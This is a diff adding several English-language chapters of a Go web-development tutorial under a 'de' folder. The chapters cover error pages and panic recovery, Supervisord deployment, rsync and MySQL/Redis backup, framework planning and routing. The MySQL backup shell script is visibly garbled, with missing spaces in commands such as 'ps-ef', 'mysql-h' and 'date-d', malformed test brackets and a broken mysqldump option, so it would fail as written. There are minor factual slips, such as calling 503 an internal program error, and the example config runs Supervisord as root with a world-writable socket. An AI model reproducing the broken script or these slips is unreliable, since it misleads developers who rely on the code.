+ +- Database Errors: errors related to accessing the database server or stored data. The following are some database errors which you may encounter: + +- Connection Errors: indicates that a connection to the network database server could not be established, a supplied user name or password is incorrect, or that the database does not exist. +- Query Errors: the illegal or incorrect use of an SQL query can raise an error such as this. These types of errors can be avoided through rigorous testing. +- Data Errors: database constraint violation such as attempting to insert a field with a duplicate primary key. These types of errors can also be avoided through rigorous testing before deploying your application into a production environment. +- Application Runtime Errors: These types of errors vary greatly, covering almost all error codes which may appear during runtime. Possible application errors are as follows: + +- File system and permission errors: when the application attempts to read a file which does not exist or does not have permission to read, or when it attempts to write to a file which it is not allowed to write to, errors of this category will occur. A file system error will also occur if an application reads a file with an unexpected format, for instance a configuration file that should be in the INI format but is instead structured as JSON. +- Third-party application errors: These errors occur in applications which interface with other third-party applications or services. For instance, if an application publishes tweets after making calls to Twitter's API, it's obvious that Twitter's services must be up and running in order for our application to complete its task. We must also ensure that we supply these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors. + +- HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found error, which arises when users attempt to access non-existent resources in your application. Another common HTTP error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error (users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal program error). +- Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces in many errors. +- Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempts to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash. + +## Error handling goals + + +Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling systems should accomplish the following: + +- User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened -for instance, that the system is temporarily unavailable (error.html). +- Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such as the one described earlier should be used to record the event into a log file file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate. +- Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back the current operation. Let's look at an example: a system saves a user-submitted form to its database, then submits this data to a third-party server. However, the third-party server disconnects and we are unable to establish a connection with it, which results in an error. In this case, the previously stored form data should be deleted from the database (void should be informed), and the application should inform the user of the system error. +- Ensure that the application can recover from errors: we know that it's difficult for any program to guarantee 100% uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we first need to log the error, notify the relevant parties involved, then immediately get the program up and running again. This way, our application can continue to provide services while a system administrator investigates and fixes the cause of the problem. + +## How to handle errors + +In chapter 11, we addressed the process of error handling and design using some examples. Let's go into these examples in a bit more detail, and see some other error handling scenarios: + +- Notify the user of errors: + +When an error occurs, we can present the user accessing the page with two kinds of errors pages: 404.html and error.html. Here is an example of what the source code of an error page might look like: + + + + + + Page Not Found + + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +Another example: + + + + + + system error page + + + + + + +
+
+
+
+

system is temporarily unavailable !

+

{{.ErrorInfo}}

+
+
+ +
+
+ + + + +404 error-handling logic, in the occurrence of a system error: + + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } + + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error(" page not found") //error logging + t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file + ErrorInfo := " File not found " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message + t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file + ErrorInfo := " system is temporarily unavailable " //Get the current user information + t.Execute(w, ErrorInfo) //execute the template merger operation + } + +## How to handle exceptions + +We know that many other languages have `try... catch` keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It's for this reason that Go functions return errors by design. For example, if a file is not found or if os.Open returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the `net.Conn` family of `Write` functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur. + +There are, however, cases where `panic` should be used. For instance in operations where failure is almost impossible, or in certain situations where there is no way to return an error and the operation cannot continue, `panic` should be used. Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute. Go's `panic` was deliberately designed with this behavior in mind, which is different than typical error handling; `panic` is really just exception handling. In the example below, we expect that `User[UID]` will return a username from the `User` array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes. In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery mechanisms in certain places. + + func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() + + username = User[uid] + return + } + +The above describes the differences between errors and exceptions. So, when it comes down to developing our Go applications, when do we use one or the other? The rules are simple: if you define a function that you anticipate might fail, then return an error variable. When calling another package's function, if it is implemented well, there should be no need to worry that it will panic unless a true exception has occurred (whether recovery logic has been implemented or not). Panic and recover should only be used internally inside packages to deal with special cases where the state of the program cannot be guaranteed, or when a programmer's error has occurred. Externally facing APIs should explicitly return error values. + +## Summary + +This is section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We've outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we've discussed the principles of processing both errors and exceptions in web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Logs](12.1.md) +- Next section: [Deployment](12.3.md) diff --git a/de/12.3.md b/de/12.3.md new file mode 100644 index 00000000..8f46bd75 --- /dev/null +++ b/de/12.3.md @@ -0,0 +1,192 @@ +# 12.3 Deployment + +When our web application is finally production ready, what are the steps necessary to get it deployed? In Go, an executable file encapsulating our application is created after we compile our programs. Programs written in C can run perfectly as background daemon processes, however Go does not yet have native support for daemons. The good news is that we can use third party tools to help us manage the deployment of our Go applications, examples of which are Supervisord, upstart and daemontools, among others. This section will introduce you to some basics of the Supervisord process control system. + +## Daemons + +Currently, Go programs cannot cannot be run as daemon processes (for additional information, see the open issue on github [here](https://github.com/golang/go/issues/227)). It's difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used. + +We can, however, see many attempts at implementing daemons online, such as in the two following ways; + +- MarGo one implementation of the concept of using `Command` to deploy applications. If you really want to daemonize your applications, it is recommended to use code similar to the following: + +
+	d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
+	if *d {
+		cmd := exec.Command(os.Args[0],
+			"-close-fds",
+			"-addr", *addr,
+			"-call", *call,
+		)
+		serr, err := cmd.StderrPipe()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		err = cmd.Start()
+		if err != nil {
+			log.Fatalln(err)
+		}
+		s, err := ioutil.ReadAll(serr)
+		s = bytes.TrimSpace(s)
+		if bytes.HasPrefix(s, []byte("addr: ")) {
+			fmt.Println(string(s))
+			cmd.Process.Release()
+		} else {
+			log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
+			cmd.Process.Kill()
+		}
+	}
+
+ +- Another solution is to use `syscall`, but this solution is not perfect: + +``` + package main + + import ( + "log" + "os" + "syscall" + ) + + func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 + } +``` + +While the two solutions above implement daemonization in Go, I still cannot recommend that you use either methods since there is no official support for daemons in Go. Notwithstanding this fact, the first option is the more feasible one, and is currently being used by some well-known open source projects like [skynet](https://github.com/skynetservices/skynet) for implementing daemons. + +## Supervisord + +Above, we've looked at two schemes that are commonly used to implement daemons in Go, however both methods lack official support. So, it's recommended that you use a third-party tool to manage application deployment. Here we take a look at the Supervisord project, implemented in Python, which provides extensive tools for process management. Supervisord will help you to daemonize your Go applications, also allowing you to do things like start, shut down and restart your applications with some simple commands, among many other actions. In addition, Supervisord managed processes can automatically restart processes which have crashed, ensuring that programs can recover from any interruptions. + +> As an aside, I recently fell into a common pitfall while trying to deploy an application using Supervisord. All applications deployed using Supervisord are born out of the Supervisord parent process. When you change an operating system file descriptor, don't forget to completely restart Supervisord -simply restarting the application it is managing will not suffice. When I first deployed an application with Supervisord, I modified the default file descriptor field, changing the default number from 1024 to 100,000 and then restarting my application. In reality, Supervisord continued using only 1024 file descriptors to manage all of my application's processes. Upon deploying my application, the logger began reporting a lack of file descriptors! It was a long process finding and fixing this mistake, so beware! + +### Installing Supervisord + +Supervisord can easily be installed using `sudo easy_install supervisor`. Of course, there is also the option of directly downloading it from its official website, uncompressing it, going into the folder then running `setup.py install` to install it manually. + +- If you're going the `easy_install` route, then you need to first install `setuptools` + +Go to `http://pypi.python.org/pypi/setuptools#files` and download the appropriate file, depending on your system's python version. Enter the directory and execute `sh setuptoolsxxxx.egg`. When then script is done, you'll be able to use the `easy_install` command to install Supervisord. + +### Configuring Supervisord + +Supervisord's default configuration file path is `/etc/supervisord.conf`, and can be modified using a text editor. The following is what a typical configuration file may look like: + + ;/etc/supervisord.conf + [unix_http_server] + file = /var/run/supervisord.sock + chmod = 0777 + chown= root:root + + [inet_http_server] + # Web management interface settings + port=9001 + username = admin + password = yourpassword + + [supervisorctl] + ; Must 'unix_http_server' match the settings inside + serverurl = unix:///var/run/supervisord.sock + + [supervisord] + logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) + logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) + logfile_backups=10 ; (num of main logfile rotation backups;default 10) + loglevel=info ; (log level;default info; others: debug,warn,trace) + pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) + nodaemon=true ; (start in foreground if true;default false) + minfds=1024 ; (min. avail startup file descriptors;default 1024) + minprocs=200 ; (min. avail process descriptors;default 200) + user=root ; (default is current user, required if root) + childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + + [rpcinterface:supervisor] + supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + ; Manage the configuration of a single process, you can add multiple program + [program: blogdemon] + command =/data/blog/blogdemon + autostart = true + startsecs = 5 + user = root + redirect_stderr = true + stdout_logfile =/var/log/supervisord/blogdemon.log + +### Supervisord management + +After installation is complete, two Supervisord commands become available to you on the command line: `supervisor` and `supervisorctl`. The commands are as follows: + +- `supervisord`: initial startup, launch, and process configuration management. +- `supervisorctl stop programxxx`: stop the programxxx process, where programxxx is a value configured in your `supervisord.conf` file. For instance, if you have something like `[program: blogdemon]` configured, you would use the `supervisorctl stop blogdemon` command to kill the process. +- `supervisorctl start programxxx`: start the programxxx process +- `supervisorctl restart programxxx`: restart the programxxx process +- `supervisorctl stop all`: stop all processes; note: start, restart, stop will not load the latest configuration files. +- `supervisorctl reload`: load the latest configuration file, launch them, and manage all processes with the new configuration. + +## Summary + +In this section, we described how to implement daemons in Go. We learned that Go does not natively support daemons, and that we need to use third-party tools to help us manage them. One such tool is the Supervisord process control system which we can use to easily deploy and manage our Go programs. + +## Links + +- [Directory](preface.md) +- Previous section: [Errors and crashes](12.2.md) +- Next section: [Backup and recovery](12.4.md) diff --git a/de/12.4.md b/de/12.4.md new file mode 100644 index 00000000..4ff8217e --- /dev/null +++ b/de/12.4.md @@ -0,0 +1,193 @@ +# 12.4 Backup and recovery + +In this section, we'll discuss another aspect of application management: data backup and recovery on production servers. We often encounter situations where production servers don't behave as as we expect them to. Server network outages, hard drive malfunctions, operating system crashes and other similar events can cause databases to become unavailable. The need to recover from these types of events has led to the emergence of many cold standby/hot standby tools that can help to facilitate disaster recovery remotely. In this section, we'll explain how to backup deployed applications in addition to backing up and restoring any MySQL and Redis databases you might be using. + +## Application Backup + +In most cluster environments, web applications do not need to be backed up since they are actually copies of code from our local development environment, or from a version control system. In many cases however, we need to backup data which has been supplied by the users of our site. For instance, when sites require users to upload files, we need to be able to backup any files that have been uploaded by users to our website. The current approach for providing this kind of redundancy is to utilize so-called cloud storage, where user files and other related resources are persisted into a highly available network of servers. If our system crashes, as long as user data has been persisted onto the cloud, we can at least be sure that no data will be lost. + +But what about the cases where we did not backup our data to a cloud service, or where cloud storage was not an option? How do we backup data from our web applications then? Here, we describe a tool called rysnc, which can be commonly found on unix-like systems. Rsync is a tool which can be used to synchronize files residing on different systems, and a perfect use-case for this functionality is to keep our website backed up. + +> Note: Cwrsync is an implementation of rsync for the Windows environment + +### Rsync installation + +You can find the latest version of rsync from its [official website](http://rsync.samba.org/can). Of course, because rsync is very useful software, many Linux distributions will already have it installed by default. + +Package Installation: + + # sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ; + # yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ; + # rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ; + +For the other Linux distributions, please use the appropriate package management methods to install it. Alternatively, you can build it yourself from the source: + + tar xvf rsync-xxx.tar.gz + cd rsync-xxx + ./configure - prefix =/usr; make; make install + +> Note: If want to compile and install the rsync from its source, you have to install gcc compiler tools such as job. + +
Note: Before using source packages compiled and installed, you have to install gcc compiler tools such as job
+ +### Rsync Configuration + +Rsync can be configured from three main configuration files: `rsyncd.conf` which is the main configuration file, `rsyncd.secrets` which holds passwords, and `rsyncd.motd` which contains server information. + +You can refer to the official documentation on rsync's website for more detailed explanations, but here we will simply introduce the basics of setting up rsync:. + +- Starting an rsync daemon server-side: + + `# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf` + +- the `--daemon` parameter is for running rsync in server mode. Make this the default boot-time setting by joining it to the `rc.local` file: + + `echo 'rsync --daemon' >> /etc/rc.d/rc.local` + +Setup an rsync username and password, making sure that it's owned only by root, so that local unauthorized users or exploits do not have access to it. If these permissions are not set correctly, rsync may not boot: + + echo 'Your Username: Your Password' > /etc/rsyncd.secrets + chmod 600 /etc/rsyncd.secrets + +- Client synchronization: + +Clients can synchronize server files with the following command: + + rsync -avzP --delete --password-file=rsyncd.secrets username@192.168.145.5::www /var/rsync/backup + +Let's break this down into a few key points: + +1. `-avzP` are some common options. Use `rsync --help` to review what these do. +2. `--delete` deletes extraneous files on the receiving side. For example, if files are deleted on the sending side, the next time the two machines are synchronized, the receiving sides will automatically delete the corresponding files. +3. `--password-file` specifies a password file for accessing an rsync daemon. On the client side, this is typically the `client/etc/rsyncd.secrets` file, and on the server side, it's `/etc/rsyncd.secrets`. When using something like Cron to automate rsync, you won't need to manually enter a password. +4. `username` specifies the username to be used in conjunction with the server-side `/etc/rsyncd.secrets` password +5. `192.168.145.5` is the IP address of the server +6. `::www` (note the double colons), specifies contacting an rsync daemon directly via TCP for synchronizing the `www` module according to the server-side configurations located in `/etc/rsyncd.conf`. When only a single colon is used, the rsync daemon is not contacted directly; instead, a remote-shell program such as ssh is used as the transport . + +In order to periodically synchronize files, you can set up a crontab file that will run rsync commands as often as needed. Of course, users can vary the frequency of synchronization according to how critical it is to keep certain directories or files up to date. + +## MySQL backup + +MySQL databases are still the mainstream, go-to solution for most web applications. The two most common methods of backing up MySQL databases are hot backups and cold backups. Hot backups are usually used with systems set up in a master/slave configuration to backup live data (the master/slave synchronization mode is typically used for separating database read/write operations, but can also be used for backing up live data). There is a lot of information available online detailing the various ways one can implement this type of scheme. For cold backups, incoming data is not backed up in real-time as is the case with hot backups. Instead, data backups are performed periodically. This way, if the system fails, the integrity of data before a certain period of time can still be guaranteed. For instance, in cases where a system malfunction causes data to be lost and the master/slave model is unable to retrieve it, cold backups can be used for a partial restoration. + +A shell script is generally used to implement regular cold backups of databases, executing synchronization tasks using rsync in a non-local mode. + + +The following is an example of a backup script that performs scheduled backups for a MySQL database. We use the `mysqldump` program which allows us to export the database to a file. + + + #!/bin/bash + # Configuration information; modify it as needed + mysql_user="USER" #MySQL backup user + mysql_password="PASSWORD" # MySQL backup user's password + mysql_host="localhost" + mysql_port="3306" + mysql_charset="utf8" # MySQL encoding + backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1", "DB2" db3 ") + backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its default, for the program to automatically create a folder + expire_backup_delete="ON" # Whether to delete outdated backups or not + expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the `expire_backup_delete` option is "ON" + + # We do not need to modify the following initial settings below + backup_time=`date +%Y%m%d%H%M` # Define the backup time format + backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time + backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date + backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder + welcome_msg="Welcome to use MySQL backup tools!" # Greeting + + # Determine whether to MySQL is running; if not, then abort the backup + mysql_ps=`ps-ef | grep mysql | wc-l` + mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l` + if [[$mysql_ps==0]-o [$mysql_listen==0]]; then + echo "ERROR: MySQL is not running! backup aborted!" + exit + else + echo $welcome_msg + fi + + # Connect to the mysql database; if a connection cannot be made, abort the backup + mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end + use mysql; + select host, user from user where user='root' and host='localhost'; + exit + end + + flag=`echo $?` + if [$flag!="0"]; then + echo "ERROR: Can't connect mysql server! backup aborted!" + exit + else + echo "MySQL connect ok! Please wait......" + # Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort + if ["$backup_db_arr"!=""]; then + # dbnames=$(cut-d ','-f1-5 $backup_database) + # echo "arr is(${backup_db_arr [@]})" + for dbname in ${backup_db_arr [@]} + do + echo "database $dbname backup start..." + `mkdir -p $backup_dir` + `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz` + flag=`echo $?` + if [$flag=="0"]; then + echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz" + else + echo "database $dbname backup has failed!" + fi + + done + else + echo "ERROR: No database to backup! backup aborted!" + exit + fi + # If deleting expired backups is enabled, delete all expired backups + if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then + # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;` + `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf` + echo "Expired backup data delete complete!" + fi + echo "All databases have been successfully backed up! Thank you!" + exit + fi + + +Modify the properties of the shell script like so: + + chmod 600 /root/mysql_backup.sh + chmod +x /root/mysql_backup.sh + +Then add the crontab command: + + 00 00 *** /root/mysql_backup.sh + +This sets up regular backups of your databases to the `/var/www/mysql` directory every day at 00:00, which can then be synchronized using rsync. + +## MySQL Recovery + +We've just described some commonly used backup techniques for MySQL, namely hot backups and cold backups. To recap, the main goal of a hot backup is to be able to recover data in real-time after an application has failed in some way, such as in the case of a server hard-disk malfunction. We learned that this type of scheme can be implemented by modifying database configuration files so that databases are replicated onto a slave, minimizing interruption to services. + +But sometimes we need to perform a cold backup of the SQL data recovery, as with database backup, you can import through the command: +Hot backups are, however, sometimes inadequate. There are certain situations where cold backups are required to perform data recovery, even if it's only a partial one. When you have a cold backup of your database, you can use the following `MySQL` command to import it: + + mysql -u username -p databse < backup.sql + +As you can see, importing and exporting database is a fairly simple matter. If you need to manage administrative privileges or deal with different character sets, this process may become a little more complicated, though there are a number of commands which will help you to do this. + +## Redis backup + +Redis is one of the most popular NoSQL databases, and both hot and cold backup techniques can also be used in systems which use it. Like MySQL, Redis also supports master/slave mode, which is ideal for implementing hot backups (refer to Redis' official documentation to learn learn how to configure this; the process is very straightforward). As for cold backups, Redis routinely saves cached data in memory to the database file on-disk. We can simply use the rsync backup method described above to synchronize it with a non-local machine. + +## Redis recovery + +Similarly, Redis recovery can be divided into hot and cold backup recovery. The methods and objectives of recovering data from a hot backup of a Redis database are the same as those mentioned above for MySQL, as long as the Redis application is using the appropriate database connection. + +A Redis cold backup recovery simply involves copying backed-up database files into the working directory, then starting Redis on it. The database files are automatically loaded into memory at boot time; the speed with which Redis boots will depend on the size of the database files. + +## Summary + +In this section, we looked at some techniques for backing up data as well as recovering from disasters which may occur after deploying our applications. We also introduced rsync, a tool which can be used to synchronize files on different systems. Using rsync, we can easily perform backup and restoration procedures for both MySQL and Redis databases, among others. We hope that by being introduced to some of these concepts, you will be able to develop disaster recovery procedures to better protect the data in your web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Deployment](12.3.md) +- Next section: [Summary](12.5.md) diff --git a/de/12.5.md b/de/12.5.md new file mode 100644 index 00000000..fa357814 --- /dev/null +++ b/de/12.5.md @@ -0,0 +1,20 @@ +# 12.5 Summary + +In this chapter, we discussed how to deploy and maintain our Go web applications. We also looked at some closely related topics which can help us to keep them running smoothly, with minimal maintenance. + +Specifically, we looked at: + +- Creating a robust logging system capable of recording errors, and notifying system administrators +- Handling runtime errors that may occur, including logging them, and how to relay this information in a user-friendly manner that there is a problem +- Handling 404 errors and notifying users that the requested page cannot be found +- Deploying applications to a production environment (including how to deploy updates) +- How to deploy highly available applications +- Backing up and restoring files and databases + +After reading the contents of this chapter, those thinking about developing a web application from scratch should already have the full picture on how to do so; this chapter provided an introduction on how to manage deployment environments, while previous chapters have focused on the development of code. + +## Links + +- [Directory](preface.md) +- Previous section: [Backup and recovery](12.4.md) +- Next chapter: [Building a web framework](13.0.md) diff --git a/de/13.0.md b/de/13.0.md new file mode 100644 index 00000000..30070bd9 --- /dev/null +++ b/de/13.0.md @@ -0,0 +1,11 @@ +# 13 Building a web framework + +The Preceding twelve chapters describe how to develop web applications in Go, introducing a lot of basic knowledge, development tools and techniques. In this chapter, we will be using this knowledge to implement a simple web framework. The first section of this chapter will take you through the planning and design stage of building a web framework. We'll look at leveraging the MVC pattern as well as designing program execution flow, among other things. The second section will describe the first feature of our framework: Routing; namely, how to map URLs to processing logic. Then in the third section, we describe the processing logic itself, which involves designing generic controllers, and how to handle requests and return responses after inheriting from an object handler. Next, we describe some of the auxiliary functionality common to most web frameworks, such as log processing, information configuration, etc. Finally, we'll implement a simple blogging system on top of our framework which will demonstrate the application logic necessary for publishing, modifying, deleting, and displaying lists of blog posts. + +By seeing first-hand how to implement such a complete project from scratch, you will hopefully have a better understanding of the inner workings of Go web applications. You'll be comfortable building your own project directory structures, implementing URL routers and utilizing MVC, among other aspects of web development. Among the frameworks prevalent today, MVC is no longer a myth. It's not uncommon to hear programmers arguing about which frameworks are good and which are bad, which is often too shallow of an approach. Frameworks are only tools, and some tools are more suitable for certain applications than others. There are no universally good or bad tools. Thus, by teaching yourself how to write a framework from scratch, you will be able to tailor-make the perfect tool to best realize your ideas! + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 12 summary](12.5.md) +- Next section: [Project program](13.1.md) diff --git a/de/13.1.md b/de/13.1.md new file mode 100644 index 00000000..b024de93 --- /dev/null +++ b/de/13.1.md @@ -0,0 +1,62 @@ +# 13.1 Project planning + +Anything you intend to do well must first be planned well. In our case, our intention is to develop a blogging system, so the first step we should take is to design the flow of the application in its entirety. When we have a clear understanding of the our application's process of execution, the subsequent design and coding steps become much easier. + +## GOPATH and project settings + +Let's proceed by assuming that our GOPATH points to a folder with with an ordinary directory name (if not, we can easily set up a suitable directory and set its path as the GOPATH). As we've describe earlier, a GOPATH can contain more than one directory: in Windows, we can set this as an environment variable; in linux/OSX systems, GOPATH can be set using `export`, i.e: `export gopath=/path/to/your/directory`, as long as the directory which GOPATH points to contains the three sub-directories: `pkg`, `bin` and `src`. Below, we've placed the source code of our new project in the `src` directory with the tentative name `beelog`. Here are some screenshots of the Windows environment variables as well as of the directory structure. + +![](images/13.1.gopath.png?raw=true) + +Figure 13.1 Setting the GOPATH environment variable + +![](images/13.1.gopath2.png?raw=true) + +Figure 13.2 The working directory under $gopath/src + +## Application flowchart + +Our blogging system will be based on the model-view-controller design pattern. MVC is the separation of the application logic from the presentation layer. In practice, when we keep the presentation layer separated, we can drastically reduce the amount of code needed on our web pages. + +- Models represent data as well as the rules and logic governing it. In General, a model class will contain functions for removing, inserting and updating database information. +- Views are a representation of the state of a model. A view is usually a page, but in Go, a view can also be a fragment of a page, such as a header or footer. It can also be an RSS feed, or any other type of "page". Go's `template` package provides very good support for view layer functionality. +- Controllers are the glue logic between the model and view layers and encompasses all the intermediary logic necessary for handling HTTP requests and generating Web pages. + +The following figure is an overview of the project framework and demonstrates how data will flow through the system: + +![](images/13.1.flow.png?raw=true) + +Figure 13.3 framework data flow + +1. Main.go is the application's entry point and initializes some basic resources required to run the blog such as configuration information, listening ports, etc. +2. Routing checks all incoming HTTP requests and, according to the method, URL and parameters, matches it with the corresponding controller action. +3. If the requested resource has already been cached, the application will bypass the usual execution process and return a response directly to the user's browser. +4. Security detection: The application will filter incoming HTTP requests and any other user submitted data before handing it off to the controller. +5. Controller loads models, core libraries, and any other resources required to process specific requests. The controller is primarily responsible for handling business logic. +6. Output the rendered view to be sent to the client's web browser. If caching has been enabled, the first view is cached for future requests to the same resource. + +## Directory structure + +According to the framework flow we've designed above, our blog project's directory structure should look something like the following: + + |——main.go import documents + |——conf configuration files and processing module + |——controllers controller entry + |——models database processing module + |——utils useful function library + |——static static file directory + |——views view gallery + +## Framework design + +In order to quickly build our blog, we need to develop a minimal framework based on the application we've designed above. The framework should include routing capabilities, support for RESTful controllers, automated template rendering, a logging system, configuration management, and more. + +## Summary + +This section describes the initial design of our blogging system, from setting up our GOPATH to briefly introducing the MVC pattern. We also looked at the flow of data and the execution sequence of our blogging system. Finally, we designed the structure of our project directory. At this point, we've basically completed the groundwork required for assembling our framework. In the next few sections, we will implement each of the components we've discussed, one by one. + +## Links + +- [Directory](preface.md) +- Previous section: [Building a web framework](13.0.md) +- Next section: [Customizing routers](13.2.md) diff --git a/de/13.2.md b/de/13.2.md new file mode 100644 index 00000000..df4e9b58 --- /dev/null +++ b/de/13.2.md @@ -0,0 +1,270 @@ +# 13.2 Customizing routers + +## HTTP routing + +The HTTP routing component is responsible for mapping HTTP requests to a corresponding function or `struct` method. The router takes two key pieces of information from incoming requests: + +-The user requested path (for example, `/user/123,/article/123`), and any query strings or parameters that come with it (for example, `?id=11`) +-The HTTP request method (GET, POST, PUT, and DELETE, PATCH, etc.) + +The router then forwards the request to the handler function (controller layer) that has been registered with that particular HTTP method and path. + +## Default routing implementation + +In section 3.4, we introduced Go's `http` package in detail, which included how to design and implement routing. Here, we take another look at an example that illustrates the routing process: + + func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + } + + http.Handle("/foo", fooHandler) + + http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) + }) + + log.Fatal(http.ListenAndServe(":8080", nil)) + +The example above calls `http`'s default mux called `DefaultServeMux`, implicitly specified by the `nil` parameter in the call to `http.ListenAndServe`. The `http.Handle` function takes two parameters: the first parameter is the resource you want users to access, specified by its URL path (which is stored in `r.URL.Path`) and the second argument binds a handler function with this path. The Router has two main jobs: + +- To add and store routing information +- To forward requests to a handler function for processing + +By default, Go routes are handled with `http.Handle` and `http.HandleFunc` types, registered by default through the underlying `DefaultServeMux.Handle(pattern string, handler Handler)` function. This function maps resource paths to handlers and stores them in a `map[string]muxEntry` map. This is the first job that we mentioned above. + +When the application is running, the Go server listens to a port. When it receives a tcp connection, it uses a `Handler` to process it. As aforementioned, since the `Handler` in the example above is `nil`, the default router `http.DefaultServeMux` is used. Using the map of previously stored routes, `DefaultServeMux.ServeHTTP` will dispatch the request to the first handler with a matching path. This is the router's second job. + + for k, v := range mux.m { + if !pathMatch(k, path) { + continue + } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } + } + +## Routing with Beego + +At present, most Go web applications base their routing on `http`'s default router, however this has several limitations: + +- Does not support dynamic routes with parameters, such as `the/user/:UID` +- Does not have good support for REST. The access methods cannot be restricted; for instance in the above example, when users access `/foo`, they can use the GET, POST, DELETE, and HEAD HTTP methods, among others. +- In large 